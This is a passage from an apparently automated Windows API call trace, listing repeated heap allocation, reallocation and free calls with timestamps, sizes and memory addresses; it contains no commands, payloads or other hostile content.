returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fab0 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe40 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6578 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0071.975] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6578, Size=0x14) returned 0x2a1fe88 [0071.975] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe88, Size=0x24) returned 0x2a1fe88 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe40 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcc0 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1fe88 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd68 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0071.975] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a1feb8 [0071.975] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1feb8, Size=0x24) returned 0x2a1feb8 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd68 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1feb8 | out: hHeap=0x2ad0000) returned 1 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe10 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f858 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe28 [0071.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a1fe88 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe28 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe88 | out: hHeap=0x2ad0000) returned 1 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x40) returned 0x2a1fe88 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe40 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6558 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2a1fc50 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe40 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd68 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6508 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6508, Size=0x14) returned 0x2a1fc50 [0071.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f998 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fde0 [0071.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2a1fc50 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fde0 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f998 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb50 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe28 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a1fc50 [0071.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe28 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb50 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe40 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12c50 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1fc50 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdb0 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a1fed0 [0071.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fed0, Size=0x24) returned 0x2a1fed0 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdb0 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fed0 | out: hHeap=0x2ad0000) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe70 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12940 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a200d8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64d8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64d8, Size=0x14) returned 0x2a1fc50 [0071.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12dd8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20138 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a1fc50 [0071.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0071.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb78 [0071.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a1fc50 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f970 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0071.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a1fc50 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f970 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb50 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad63f8 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a1fc50 [0071.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb50 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0071.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe28 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6438 [0071.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2a1fc50 [0071.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6438 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f970 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fca8 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a1fc50 [0071.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fc50, Size=0x24) returned 0x2a1fc50 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fca8 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f970 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb28 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a1fc50 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb28 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fab0 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0071.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a1fc50 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe58 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fab0 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f8f8 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fde0 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0071.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a1fc50 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fde0 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8f8 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6418 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f880 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2a1fc50 [0071.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.981] HeapFree (in: 